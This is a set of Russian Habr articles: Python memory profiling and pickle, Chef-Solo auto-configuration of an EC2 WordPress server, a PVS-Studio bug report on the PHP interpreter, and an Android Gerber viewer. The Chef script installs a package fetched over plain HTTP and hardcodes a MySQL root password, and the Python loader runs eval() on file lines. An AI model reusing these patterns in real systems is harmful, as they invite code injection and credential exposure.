В самом деле: если элемент (размером *x*) удалён из памяти (стёрта ссылка на него), то занимавшийся им объём не возвращается в пул глобальной памяти Python (в том числе и в систему), а помечается свободным и добавляется к списку свободных элементов размером *x*. Занимаемый мёртвым объектом объём может быть использован вновь, если понадобится другой объект подходящего размера. А если подходящего мёртвого объекта нет, то создаётся новый.
Если память с маленькими объектами никогда не освобождается, то мы приходим к неизбежному выводу, что эти списки с маленькими объектами могут только расти, они никогда не уменьшаются, а значит, в каждый момент времени в памяти вашего приложения преобладают размещённые в ней многочисленные маленькие объекты.
---
Следовательно, старайтесь размещать в памяти только то количество маленьких объектов, которое нужно для какой-то одной задачи, отдавая предпочтение циклам, в которых создаётся/обрабатывается небольшое количество элементов, а не паттернам, где списки сначала создаются с помощью синтаксиса генерирования, а потом обрабатываются.
Хотя второй вариант более соответствует духу Python, он менее удачен: в конце концов появится большое количество маленьких объектов, которые заполнят соответствующие списки, и даже если какой-то список станет мёртвым, то объекты в нём (теперь уже все находящиеся в списке свободных объектов) всё ещё будут занимать много памяти.
---
Увеличить списки свободных элементов — не особая проблема, потому что эта память всё ещё доступна для Python-программы. Но с точки зрения ОС размер вашей программы равен общему размеру выделенной для Python памяти. И только под Windows память возвращается в кучу ОС (и применяется для размещения и других объектов, помимо маленьких), а под Linux общий объём используемой вашим приложением памяти будет только расти.
---
Докажем это утверждение с помощью [memory\_profiler](http://pypi.python.org/pypi/memory_profiler), модуля для Python (зависящего от пакета `python-psutil`) (страница на [Github](https://github.com/fabianp/memory_profiler)). Он добавляет декоратор `@profile`, позволяющий отслеживать какое-то конкретное применение памяти. Пользоваться им крайне просто. Рассмотрим следующую программу:
```
import copy
import memory_profiler
@profile
def function():
x = list(range(1000000)) # allocate a big list
y = copy.deepcopy(x)
del x
return y
if __name__ == "__main__":
function()
invoking
python -m memory_profiler memory-profile-me.py
```
На 64-битном компьютере она выводит:
```
Filename: memory-profile-me.py
Line # Mem usage Increment Line Contents
================================================
4 @profile
5 9.11 MB 0.00 MB def function():
6 40.05 MB 30.94 MB x = list(range(1000000)) # allocate a big list
7 89.73 MB 49.68 MB y = copy.deepcopy(x)
8 82.10 MB -7.63 MB del x
9 82.10 MB 0.00 MB return y
```
Программа создаёт n = 1 000 000 целых чисел (n × 24 байта = ~23 Мб) и дополнительный список ссылок (n × 8 байтов = ~7,6 Мб), и в сумме получаем ~31 Мб. `copy.deepcopy` копирует оба списка, и копии занимают ~50 Мб (не знаю, откуда берутся лишние 50 – 31 = 19 Мб). Любопытно, что `del x` удаляет `x`, но потребление памяти снижается лишь на 7,63 Мб! Причина в том, что `del` удаляет только список ссылок, а реальные целочисленные значения остаются в куче и приводят к избыточному потреблению в ~23 Мб.
В этом примере в сумме занято ~73 Мб, что более чем вдвое превышает объём, необходимый для хранения списка, весящего ~31 Мб. Как видите, при потере бдительности порой возникают очень неприятные сюрпризы с точки зрения потребления памяти!
Вы можете получить иные результаты на других платформах и других версиях Python.
Pickle
------
Кстати, а что насчёт `pickle`?
[Pickle](http://docs.python.org/library/pickle.html) — стандартный способ (де)сериализации Python-объектов в файл. Каково его потребление памяти? Он создаёт дополнительные копии данных или работает умнее? Рассмотрим короткий пример:
```
import memory_profiler
import pickle
import random
def random_string():
return "".join([chr(64 + random.randint(0, 25)) for _ in xrange(20)])
@profile
def create_file():
x = [(random.random(),
random_string(),
random.randint(0, 2 ** 64))
for _ in xrange(1000000)]
pickle.dump(x, open('machin.pkl', 'w'))
@profile
def load_file():
y = pickle.load(open('machin.pkl', 'r'))
return y
if __name__=="__main__":
create_file()
#load_file()
```
При первом вызове мы профилируем создание pickled-данных, а при втором вызове заново считываем их (можно закомментировать функцию, чтобы она не вызывалась). При использовании `memory_profiler` в ходе создания данных потребляется много памяти:
```
Filename: test-pickle.py
Line # Mem usage Increment Line Contents
================================================
8 @profile
9 9.18 MB 0.00 MB def create_file():
10 9.33 MB 0.15 MB x=[ (random.random(),
11 random_string(),
12 random.randint(0,2**64))
13 246.11 MB 236.77 MB for _ in xrange(1000000) ]
14
15 481.64 MB 235.54 MB pickle.dump(x,open('machin.pkl','w'))
```
А при считывании — немного меньше:
```
Filename: test-pickle.py
Line # Mem usage Increment Line Contents
================================================
18 @profile
19 9.18 MB 0.00 MB def load_file():
20 311.02 MB 301.83 MB y=pickle.load(open('machin.pkl','r'))
21 311.02 MB 0.00 MB return y
```
Так что `picklе` очень плохо влияет на потребление памяти. Исходный список занимает около 230 Мб, а при сериализации потребляется ещё примерно столько же.
C другой стороны, десериализация выглядит более эффективной. Потребляется больше памяти, чем исходный список (300 Мб вместо 230), но это хотя бы не вдвое больше.
В целом лучше избегать (де)сериализации в приложениях, чувствительных к потреблению памяти. Какие есть альтернативы? Сериализация сохраняет всю структуру данных, так что позднее вы сможете полностью восстановить её из получившегося файла. Но это не всегда нужно. Если файл содержит список, как в предыдущем примере, то, возможно, целесообразно использовать простой, текстовый формат. Давайте посмотрим, что это даёт.
Простейшая (naïve) реализация:
```
import memory_profiler
import random
import pickle
def random_string():
return "".join([chr(64 + random.randint(0, 25)) for _ in xrange(20)])
@profile
def create_file():
x = [(random.random(),
random_string(),
random.randint(0, 2 ** 64))
for _ in xrange(1000000) ]
f = open('machin.flat', 'w')
for xx in x:
print >>f, xx
f.close()
@profile
def load_file():
y = []
f = open('machin.flat', 'r')
for line in f:
y.append(eval(line))
f.close()
return y
if __name__== "__main__":
create_file()
#load_file()
```
Создаём файл:
```
Filename: test-flat.py
Line # Mem usage Increment Line Contents
================================================
8 @profile
9 9.19 MB 0.00 MB def create_file():
10 9.34 MB 0.15 MB x=[ (random.random(),
11 random_string(),
12 random.randint(0, 2**64))
13 246.09 MB 236.75 MB for _ in xrange(1000000) ]
14
15 246.09 MB 0.00 MB f=open('machin.flat', 'w')
16 308.27 MB 62.18 MB for xx in x:
17 print >>f, xx
```
Считываем файл:
```
Filename: test-flat.py
Line # Mem usage Increment Line Contents
================================================
20 @profile
21 9.19 MB 0.00 MB def load_file():
22 9.34 MB 0.15 MB y=[]
23 9.34 MB 0.00 MB f=open('machin.flat', 'r')
24 300.99 MB 291.66 MB for line in f:
25 300.99 MB 0.00 MB y.append(eval(line))
26 301.00 MB 0.00 MB return y
```
При записи потребляется гораздо меньше памяти. Всё ещё создаётся много временных маленьких объектов (примерно 60 Мб), но это не сравнить с удвоенным потреблением. Чтение сравнимо по затратам (используется чуть меньше памяти).
Этот пример тривиален, но он обобщает стратегии, при которых вы сначала не загружаете данные целиком с последующей обработкой, а считываете несколько элементов, обрабатываете их и заново используете выделенную память. Загружая данные в массив Numpy, к примеру, можно сначала создать массив Numpy, затем построчно считывать файл, постепенно заполняя массив. Это позволит разместить в памяти только одну копию всех данных. А при использовании `pickle` данные будут размещены в памяти (как минимум) дважды: один раз `pickle`, второй раз при работе с Numpy.
Или, ещё лучше, применяйте массивы Numpy (или PyTables). Но это уже совсем другая история. В то же время в директории Theano/doc/tutorial вы можете почитать другое руководство по [загрузке и сохранению](http://deeplearning.net/software/theano/tutorial/loading_and_saving.html).
---
Цели архитектуры Python никак не совпадают, допустим, с целями архитектуры C. Последний спроектирован так, чтобы дать вам хороший контроль над тем, что вы делаете, за счёт более сложного и явного программирования. А первый спроектирован так, чтобы вы могли писать код быстрее, но при этом язык прячет большинство подробностей реализации (если не все). Хотя это звучит красиво, но игнорирование неэффективных реализаций языка в production-среде порой приводит к неприятным последствиям, иногда неисправимым. Надеюсь, что знание этих особенностей Python при работе с памятью (архитектурных особенностей!) поможет вам писать код, который будет лучше соответствовать требованиям production, хорошо масштабироваться или, напротив, окажется горящим адом для памяти. | https://habr.com/ru/post/336156/ | null | ru | null |
# Автоконфигурация в облаке Amazon при помощи Chef-Solo
Здравствуйте!
В этой статье я хочу рассказать об автоконфигурации в облаке. Для примера запустим ec2-инстанс, на котором «приготовится» WordPress.
Под автоконфигурацией я понимаю автоматическую установку и настройку пакетов, разворачивание приложений. Процесс настройки должен проходить без логина по ssh на конфигурируемый инстанс, буквально одной командой.
Чтобы получить инстанс с установленным WordPress, нам понадобятся [Amazon EC2 API Tools](http://aws.amazon.com/developertools/Amazon-EC2/351) и [Chef-Solo](http://wiki.opscode.com/display/chef/Chef+Solo), а также [cookbook-и](http://wiki.opscode.com/display/chef/Cookbooks) для него.
Cookbook — это сборник рецептов, по которым Chef-Solo будет «готовить» сервер (конфигурировать его). Нам понадобится несколько таких «поваренных книг», а именно:
* [apache2](https://github.com/opscode-cookbooks/apache2)
* [mysql](https://github.com/opscode-cookbooks/mysql)
* [openssl](https://github.com/opscode-cookbooks/openssl)
* [php](https://github.com/opscode-cookbooks/php)
* [subversion](https://github.com/opscode-cookbooks/subversion)
* [wp](https://github.com/morkot/cookbooks/tree/master/wp)
Все, кроме wp, — это cookbook-и из [комьюнити-репозитория](https://github.com/opscode-cookbooks). wp — это простой cookbook, состоящий из одного рецепта, с помощью которого Chef-Solo скачает последнюю версию WordPress из svn, создаст базу данных и установит его. Все нужные cookbook-и я собрал в [репозитории](https://github.com/morkot/cookbooks) на git.
Для запуска Chef-Solo необходимы два конфигурационных файла solo.rb и node.json.
**solo.rb:**
```
file_cache_path "/var/chef-solo"
cookbook_path "/var/chef-solo/cookbooks"
```
Здесь задаётся путь к cookbook-ам.
**node.json:**
```
{
"run_list": [
"recipe[php::package]",
"recipe[php::module_mysql]",
"recipe[apache2]",
"recipe[apache2::mod_php5]",
"recipe[subversion]",
"recipe[mysql::server]",
"recipe[wp]"
],
"php" : { "conf_dir" : "/etc/" },
"mysql" : { "server_root_password" : "xxxie0AiquaiX",
"service_name" : "mysqld",
"platform" : "amazon" }
}
```
В этом файле указываем, какие рецепты запускать, и задаем параметры.
Приготовления окончены, можно приступать. Все, что нам осталось, это поднять инстанс командой из набора Amazon EC2 API Tools:
```
ec2-run-instances {ami} -t {instance shape} -k {key_name},
```
скачать cookbook-и и конфиги, установить и запустить chef-solo.
Но! Мы договорились, что заходить по ssh на инстанс не будем. Как нам выполнить несколько команд, не логинясь на инстанс? Нам поможет очень полезная функция AWS — [user-data](http://docs.amazonwebservices.com/AWSEC2/latest/UserGuide/AESDG-chapter-instancedata.html). Используя её, можно передавать любые данные на инстанс, в том числе и выполнять bash-скрипты.
**chef-solo-inst.sh:**
```
#!/bin/bash -x
#write logs
LOGS="/root/autoconf-log.$(date -I)"
exec > $LOGS 2>&1
SOLODIR="/var/chef-solo"
CFGDIR="$SOLODIR/wp-aws-chef-solo"
#install Chef
rpm -ivh http://opscode-omnitruck-release.s3.amazonaws.com/el/6/x86_64/chef-10.14.4-2.el6.x86_64.rpm
#install git
yum -y install git
#create dir and download cookbooks
mkdir "$SOLODIR"
cd "$SOLODIR"
git clone https://github.com/morkot/wp-aws-chef-solo
git clone https://github.com/morkot/cookbooks
#run chef-solo
chef-solo -c "$CFGDIR"/solo.rb -j "$CFGDIR"/node.json
```
Теперь мы готовы поднять автоконфигурируемый инстанс:
```
ec2-run-instances ami-1624987f -t t1.micro -k {your_key_name} --user-data-file chef-solo-inst.sh
```
где --user-data-file chef-solo-inst.sh — это опция, которая говорит использовать в качестве user-data локально расположенный bash-скрипт.
Через несколько минут можно выполнить команду ec2-describe-instances, скопировать dns-имя поднятого инстанса и открыть в браузере http://{instance\_dns\_name}/wp, при этом должна открыться страница настройки WordPress:
Если страница недоступна, то что-то пошло не так. Что именно, можно узнать, посмотрев log-файл autoconf-log.{date}, который будет лежать на инстансе в /root директории.
Таким образом, мы получили полностью настроенный и готовый к работе инстанс. Используя chef-рецепты в связке с user-data, можно конфигурировать системы любой сложности. Причем, рецепты могут быть кросс-платформенными, и с их помощью можно конфигурировать инстансы с разными ОС.
Самое интересное в таком подходе это то, что мы работаем с инфраструктурой, как с кодом (Infrastructure as a Code). Следовательно, можно использовать те же методики, что и при разработке ПО (например [TDD](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)).
В этой статье показан один из простейших способов автоконфигурации, но можно пойти дальше: сделать образы с уже установленным chef-клиентом, чтобы инстанс, при запуске, настраивался chef-сервером в зависимости от роли. Но это уже тема для следующей статьи. | https://habr.com/ru/post/155655/ | null | ru | null |
# Заметка про проверку PHP
PHP — скриптовый язык программирования общего назначения, интенсивно применяемый для разработки веб-приложений. В настоящее время поддерживается подавляющим большинством хостинг-провайдеров и является одним из лидеров среди языков программирования, применяющихся для создания динамических веб-сайтов.
В случае с компиляторами и интерпретаторами к исходному коду и тестированию, как правило, предъявляются повышенные требования качества и надёжности. Тем не менее, в исходном коде интерпретатора PHP нашлись подозрительные места.
В данной статье будут рассмотрены результаты проверки интерпретатора [PHP](http://www.viva64.com/go.php?url=1433), полученные с помощью [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) 5.18.
Одинаковые условные выражения
-----------------------------
[V501](http://www.viva64.com/ru/d/0090/) There are identical sub-expressions '!memcmp(«auto», charset\_hint, 4)' to the left and to the right of the '||' operator. html.c 396
```
static enum
entity_charset determine_charset(char *charset_hint TSRMLS_DC)
{
....
if ((len == 4) /* sizeof (none|auto|pass) */ && //<==
(!memcmp("pass", charset_hint, 4) ||
!memcmp("auto", charset_hint, 4) || //<==
!memcmp("auto", charset_hint, 4))) //<==
{
charset_hint = NULL;
len = 0;
}
....
}
```
Условное выражение содержит вызов функций 'memcmp' с одинаковыми параметрами. Комментарий /\* sizeof (none|auto|pass) \*/ подсказывает нам, что в одну из функций необходимо передать значение «none».
Всегда ложное условие
---------------------
[V605](http://www.viva64.com/ru/d/0220/) Consider verifying the expression: shell\_wrote > — 1. An unsigned value is compared to the number -1. php\_cli.c 266
```
PHP_CLI_API size_t sapi_cli_single_write(....)
{
....
size_t shell_wrote;
shell_wrote = cli_shell_callbacks.cli_shell_write(....);
if (shell_wrote > -1) { //<==
return shell_wrote;
}
....
}
```
Данное сравнение является явной ошибкой. '-1' преобразуется в максимальное значение типа 'size\_t', поэтому условие всегда будет ложным, и вся проверка сошла на нет. Возможно, переменная 'shell\_wrote' раньше имела знаковый тип, но после рефакторинга не учли особенности операций с беззнаковыми типами.
Некорректное условие
--------------------
[V547](http://www.viva64.com/ru/d/0137/) Expression 'tmp\_len >= 0' is always true. Unsigned type value is always >= 0. ftp\_fopen\_wrapper.c 639
```
static size_t php_ftp_dirstream_read(....)
{
size_t tmp_len;
....
/* Trim off trailing whitespace characters */
tmp_len--;
while (tmp_len >= 0 && //<==
(ent->d_name[tmp_len] == '\n' ||
ent->d_name[tmp_len] == '\r' ||
ent->d_name[tmp_len] == '\t' ||
ent->d_name[tmp_len] == ' ')) {
ent->d_name[tmp_len--] = '\0';
}
....
}
```
Тип 'size\_t', являясь беззнаковым, позволяет индексировать максимальное количество элементов массива для текущей разрядности приложения. Проверка (tmp\_len >= 0) является некорректной. В худшем случае декремент может привести к переполнению индекса и обращению к памяти за границей массива. Скорее всего, код выполняется верно благодаря дополнительным условиям и корректным исходным данным, но опасность «зацикливания» или выхода за пределы массива тут присутствует.
Разность беззнаковых чисел
--------------------------
[V555](http://www.viva64.com/ru/d/0146/) The expression 'out\_buf\_size — ocnt > 0' will work as 'out\_buf\_size != ocnt'. filters.c 1702
```
static int strfilter_convert_append_bucket(
{
size_t out_buf_size;
....
size_t ocnt, icnt, tcnt;
....
if (out_buf_size - ocnt > 0) { //<==
....
php_stream_bucket_append(buckets_out, new_bucket TSRMLS_CC);
} else {
pefree(out_buf, persistent);
}
....
}
```
Возможно, ветвь 'else' будет выполнять реже, чем следовало бы, т.к. разность беззнаковых чисел почти всегда будет больше нуля. Исключением будет являться равенство операндов: в этом случае условие лучше переписать на более информативный вариант.
Разыменование указателя
-----------------------
[V595](http://www.viva64.com/ru/d/0205/) The 'function\_name' pointer was utilized before it was verified against nullptr. Check lines: 4859, 4860. basic\_functions.c 4859
```
static int user_shutdown_function_call(zval *zv TSRMLS_DC)
{
....
php_error(E_WARNING, "....", function_name->val); //<==
if (function_name) { //<==
STR_RELEASE(function_name);
}
....
}
```
Проверка указателя после разыменования всегда выглядит подозрительно. В случае реальной ошибки может привести к краху программы.
Аналогичное место:* V595 The 'callback\_name' pointer was utilized before it was verified against nullptr. Check lines: 5007, 5021. basic\_functions.c 5007
Коварная оптимизация
--------------------
[V597](http://www.viva64.com/ru/d/0208/) The compiler could delete the 'memset' function call, which is used to flush 'final' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. php\_crypt\_r.c 421
```
/*
* MD5 password encryption.
*/
char* php_md5_crypt_r(const char *pw,const char *salt, char *out)
{
static char passwd[MD5_HASH_MAX_LEN], *p;
unsigned char final[16];
....
/* Don't leave anything around in vm they could use. */
memset(final, 0, sizeof(final)); //<==
return (passwd);
}
```
Массив 'final' может содержать приватную информацию о пароле, которая затем обнуляется, но вызов функции 'memset' будет удалён компилятором. Подробности, почему так может произойти и чем это опасно, можно узнать из статьи "[Перезаписывать память — зачем?](http://www.viva64.com/ru/k/0041/)" и описания диагностики [V597](http://www.viva64.com/ru/d/0208/).
Аналогичные места:* V597 The compiler could delete the 'memset' function call, which is used to flush 'final' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. php\_crypt\_r.c 421
* V597 The compiler could delete the 'memset' function call, which is used to flush 'output' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. crypt.c 214
* V597 The compiler could delete the 'memset' function call, which is used to flush 'temp\_result' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. crypt\_sha512.c 622
* V597 The compiler could delete the 'memset' function call, which is used to flush 'ctx' object. The RtlSecureZeroMemory() function should be used to erase the private data. crypt\_sha512.c 625
* V597 The compiler could delete the 'memset' function call, which is used to flush 'alt\_ctx' object. The RtlSecureZeroMemory() function should be used to erase the private data. crypt\_sha512.c 626
* V597 The compiler could delete the 'memset' function call, which is used to flush 'temp\_result' buffer. The RtlSecureZeroMemory() function should be used to erase the private data. crypt\_sha256.c 574
* V597 The compiler could delete the 'memset' function call, which is used to flush 'ctx' object. The RtlSecureZeroMemory() function should be used to erase the private data. crypt\_sha256.c 577
* V597 The compiler could delete the 'memset' function call, which is used to flush 'alt\_ctx' object. The RtlSecureZeroMemory() function should be used to erase the private data. crypt\_sha256.c 578
Можем ли мы доверять используемым библиотекам?
----------------------------------------------
Стоит отметить, что сторонние библиотеки вносят большой вклад в развитие проекта, позволяя переиспользовать уже реализованные алгоритмы, но за их качеством тоже необходимо следить, как и за основным проектом. Я приведу всего несколько примеров из некоторых библиотек, дабы следовать тематике статьи и просто поднять вопрос о доверии к сторонним библиотекам.
В интерпретаторе PHP используется много библиотек, некоторые из них немного переписаны «под себя».
### libsqlite
[V579](http://www.viva64.com/ru/d/0181/) The sqlite3\_result\_blob function receives the pointer and its size as arguments. It is possibly a mistake. Inspect the third argument. sqlite3.c 82631
```
static void statInit(....)
{
Stat4Accum *p;
....
sqlite3_result_blob(context, p, sizeof(p), stat4Destructor);
....
}
```
Скорее всего, здесь хотели получить размер объекта, а не указателя. Следовало написать sizeof(\*p).
### pcrelib
[V501](http://www.viva64.com/ru/d/0090/) There are identical sub-expressions '(1 << ucp\_gbL)' to the left and to the right of the '|' operator. pcre\_tables.c 161
```
const pcre_uint32 PRIV(ucp_gbtable[]) = {
(1<
```
В выражении для вычисления одного элемента массива есть повторяющееся (1<
### PDO
[V595](http://www.viva64.com/ru/d/0205/) The 'dbh' pointer was utilized before it was verified against nullptr. Check lines: 103, 110. pdo\_dbh.c 103
```
PDO_API void pdo_handle_error(pdo_dbh_t *dbh, ....)
{
pdo_error_type *pdo_err = &dbh->error_code; //<==
....
if (dbh == NULL || dbh->error_mode == PDO_ERRMODE_SILENT) {
return;
}
....
}
```
Здесь в самом начале функции выполняется разыменование пришедшего указателя, а далее он проверяется на валидность.
### libmagic
[V519](http://www.viva64.com/ru/d/0108/) The '\* code' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 100, 101. encoding.c 101
```
protected int file_encoding(...., const char **code, ....)
{
if (looks_ascii(buf, nbytes, *ubuf, ulen)) {
....
} else if (looks_utf8_with_BOM(buf, nbytes, *ubuf, ulen) > 0) {
DPRINTF(("utf8/bom %" SIZE_T_FORMAT "u\n", *ulen));
*code = "UTF-8 Unicode (with BOM)";
*code_mime = "utf-8";
} else if (file_looks_utf8(buf, nbytes, *ubuf, ulen) > 1) {
DPRINTF(("utf8 %" SIZE_T_FORMAT "u\n", *ulen));
*code = "UTF-8 Unicode (with BOM)"; //<==
*code = "UTF-8 Unicode"; //<==
*code_mime = "utf-8";
} else if (....) {
....
}
}
```
Два раза задали кодировку в переменную, одна строчка лишняя и, возможно, приводит к неправильному поведению программы далее.
Заключение
----------
Несмотря на то, что PHP существует давно и популярен, в его коде и используемых библиотеках всё же нашлись подозрительные места, хотя подобного рода проект наверняка проверяется различными анализаторами.
Используя статический анализ регулярно, можно сэкономить массу времени на решение более полезных задач.
Эта статья на английском
------------------------
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Svyatoslav Razmyslov. [A Post About Analyzing PHP](http://www.viva64.com/en/b/0277/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio и CppCat, версия 2014](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/235189/ | null | ru | null |
# Пишем бесплатный Gerber-вьювер с открытым исходным кодом под Android с нуля
Привет, Хабр! Меня зовут Велеско Сергей, я Android разработчик в настоящее время и инженер-конструктор печатных плат в прошлой жизни. В этой статье я расскажу, как мне удалось применить знания, полученные в прошлой профессии, и написать простое Android приложение для просмотра Gerber-файлов.
### Как будет идти повествование
Расскажу немного предыстории, затем пройдусь по требованиям и расскажу, почему выбрал те или иные технологии. Далее опишу сам процесс и в конце подведу итоги. Ссылку на репозиторий оставлю в конце статьи.
### Немного предыстории
Идея написать просмотрщик/конвертер возникала у меня еще в 2018 году, когда на прошлой работе на шестерых конструкторов была единственная лицензия на софтину для чтения герберов с очень неудобным экспортом в растровое изображение. Экспорт фотошаблонов в растр был необходим для документации и требовал неприличное количество ручных операций и времени. С этим нужно было что-то делать. И нужно было делать что-то с выгоранием от основной работы.
В общем, я взялся писать десктопный конвертер gerber -> bmp/png на Qt, который бы быстро (в многопоточном режиме) и за один раз конвертил все слои платы в изображения, обрезанные по размеру платы, и имеющие осмысленные названия файлов. Пришлось вспоминать С++ практически с нуля (за 6 лет после универа без практики забылись даже те примитивные навыки программирования, которые были), сидя вечерами с учебником и выполняя упражнения. Потом знакомство с Qt и изучение спецификации Gerber. За пол года приложение было написано, и успешно использовалось по назначению.
Мне так зашел процесс, что я стал всерьез интересоваться разработкой, и где-то через год Qt привел меня в андроид. Да так удачно привёл, что я сменил профессию конструктора на андроид-разработчика. На момент публикации чуть больше полугода профессионально занимаюсь нативной разработкой под андроид на kotlin. Тут еще на одну статью тянет, но вернемся к главной теме.
### Зачем gerber viewer под андроид?
Во-первых решил отдать дань уважения печатным платам, так сказать, попрощаться достойно со всем, что связано с проектированием электроники. Во-вторых «обкатать» некоторые актуальные технологии в андроиде. В третьих — в маркете я нашел всего два аналогичных приложения, одно из которых платное, второе - с рекламой. Посчитал это возмутительным. Ближе к делу…
### Требования
Как должно выглядеть приложение? Максимально просто. Два экрана. Первый — со списком открытых файлов, второй - с изображением содержимого открытых файлов.
Что должно делать приложение?
1. Открывать гербер файлы
2. Отображать список открытых файлов
3. Каждый элемент списка должен содержать имя файла, переключатель видимости и цвет слоя на экране с изображением.
4. Элемент должен удаляться из списка по свайпу.
5. Парсинг и вообще вся обработка должна производиться в отдельном потоке.
6. Изображение должно иметь зум, панораму и управление ими с помощью привычных жестов.
### Архитектура проекта
MVVM, потому что 1) подходит под задачу 2) имеет поддержку от гугл в виде architecture components. Также я решил делать проект многомодульным, т.к. сразу можно было выделить относительно независимые части приложения, выполняющие свою функцию. + в планах было выделить в отдельную kotlin библиотеку парсер. Ниже приведена примерная схема приложения с модулями и зависимостями.
Кратко по каждому модулю:
**app** — главный модуль приложения с экранами, вью моделями и репозиторием.
**File Reader** — модуль, который читает файлы и загружает их в оперативную память. На выходе список строк.
**Syntax Parser** — парсит строки из гербера. На выходе список команд.
**Graphics Processor** — обрабатывает команды. На выходе список графических объектов.
**Logger** — служебный модуль - обертка над [timber](https://github.com/JakeWharton/timber).
### Многопоточность
Логично было бы выполнять парсинг файлов и генерацию графических объектов в фоне, начиная сразу после добавления файла в список, показывая какой-нибудь лоадинг. Сначала я посматривал в сторону RxJava, которая предлагала относительно удобный способ работы с многопоточностью и плюшки в виде производительности при использовании rx источников/подписчиков вместо больших коллекций с командами гербера и графическими объектами. Но учитывая, что Rx теряет популярность, поднадоела за время учебы и используется на работе, было решено использовать корутины, с которыми у меня до этого не было опыта.
### Ui
Долго не сомневался при выборе, Single Activity (звучит громко, учитывая всего 2 экрана в приложении), экраны на Fragment. Compose показался слишком экспериментальным, отпугнул потенциально большими ресурсами на его параллельное освоение.
### DI
Koin. Потому что простой и было интересно попробовать что-то кроме dagger. На работе пользуемся Hilt, но даже он показался чересчур сложным для такого простого проекта.
### Рисование
View и Canvas. Смотрел в сторону SurfaceView но после непродолжительных экспериментов решил, что и производительности обычной View должно хватить. Естественно с учетом того, что на канве должны отрисовываться полностью готовые объекты, чтобы ничего не создавалось в методе onDraw.
### Сборка
В качестве эксперимента перевел все билд скрипты на Kotlin. Для удобства управления версиями запилил builsSrc.
### Тестирование
JUnit для тестов. По плану должно быть много юнит-тестов.
### Реализация
**Модуль File Reader.**Самый простой платформенно зависимый модуль. Все, что он делает — читает файл в список строк.
**Модуль Syntax Parser.** Gerber-файл представляет собой текстовый файл, описывающий поток gerber команд. Более подробно про Gerber вот [тут](https://ru.wikipedia.org/wiki/Gerber). Как правило одна команда занимает одну строку. Поэтому было решено читать файл в список строк, и дальше работать с ним, используя регулярные выражения для парсинга конкретных команд. Учитывая относительно большое количество команд, хотелось сделать их последующую обработку в потоке удобной, т.е. без огромного условного оператора, чтобы команды сами могли позаботиться о своей обработке — тут ничего нового. Я завел вот такой интерфейс для команд:
```
interface GerberCommand {
val lineNumber: Int
fun perform(processor: CommandProcessor)
}
```
Каждая команда реализует этот интерфейс, предоставляя номер строки в файле (необходимо для информативных сообщений о синтаксических ошибках) и реализацию единственного метода perform, в котором команда сообщает некоему CommandProcessor, что она делает.
Использование абстракций позволило выполнить модуль простой kotlin-библиотекой, без зависимостей на платформу. (спасибо дяде Бобу)
В целом работа над парсером была не сильно сложной, но довольно рутинной. И таки осложнялась тотальным несоблюдением [спецификации](https://www.ucamco.com/en/gerber/downloads) Gerber разработчиками САПР'ов (не буду показывать пальцем). Самой интересным этапом в разработке парсера оказалась реализация парсинга макро шаблонов — таких параметризованных моделей, с определениями кастомных графических примитивов и переменными с выражениями внутри. Вот пример описания макро шаблона:
```
%AMVB_RCRECTANGLE*
$3=$3X2*
21,1,$1-$3,$2,0,0,0*
21,1,$1,$2-$3,0,0,0*
$1=$1/2*
$2=$2/2*
$3=$3/2*
$1=$1-$3*
$2=$2-$3*
1,1,$3X2,0-$1,0-$2*
1,1,$3X2,0-$1,$2*
1,1,$3X2,$1,$2*
1,1,$3X2,$1,0-$2*
%
```
Тут пришлось вспомнить реализованный когда-то на С++ парсер математических выражений, основанный на переводе в постфиксную форму и [алгоритме сортировочной станции](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D1%81%D0%BE%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%BE%D1%87%D0%BD%D0%BE%D0%B9_%D1%81%D1%82%D0%B0%D0%BD%D1%86%D0%B8%D0%B8).
**Модуль GraphicsProcessor.** Тут уже все просто. Нужно, чтобы кто-то реализовал интерфейсы парсера, которые описывают все действия гербер команд, чтобы на выходе получить поток графических объектов или служебных объектов, меняющих настройки рисования. Интерфейс для графических объектов:
```
interface GraphicsObject {
fun draw(canvas: Canvas, penConfig: PenConfig)
}
```
По ходу выполнения программы эти объекты дойдут до самого метода onDraw() в View. Они либо рисуют на канве графический примитив (прямая, дуга), либо добавляют готовый Path (все flash операции, контуры в регионах реализованы с помощью Path), либо меняют настройки канвы (поворот, начало координат) или пера (цвет, размер, способ заливки).
**App модуль.** Все остальное осталось в апп модуле, т.е. весь UI, View Model, Repository и DI.
В Ui все стандартно. На экране со списком — RecyclerView с DiffUtils и Floating button для добавления файлов. На экране с графикой — кастомная View, в которую сеттится набор графических объектов для отрисовки. Все данные экраны получают из вью моделей, которые в свою очередь берут данные из центрального репозитория. Интерфейс репозитория:
```
interface GerberRepository {
val gerbers: List
suspend fun addItem(fileUri: Uri, fileName: String): GerberResult
fun removeItem(id: String)
fun changeItemVisibility(id: String, visibility: Boolean)
}
```
Cхема взаимодействия экранов, view model’ей и репозитория:
### Что в итоге
После нескольких месяцев работы вечерами после работы и по выходным проект был завершен. Выглядит это все вот так:
Часть функционала по спецификации Gerber осталась не реализована, т.к. он либо не влияет на изображение, либо я не встречал его в реальных файлах за 9 лет работы конструктором и пока отказался от реализации (а время немного поджимало, т.к. перспектива выгореть из-за пет проекта на самом старте профессии — ну такое :) ). В репозитории я отметил все эти моменты в виде небольшой roadmap в readme.
Большое спасибо тем, кто дочитал статью до конца, с радостью отвечу на вопросы в комментариях. Приветствую конструктивную критику. До встречи!
[Ссылка на репозиторий в Github](https://github.com/raininforest/gerber-pcb-android)
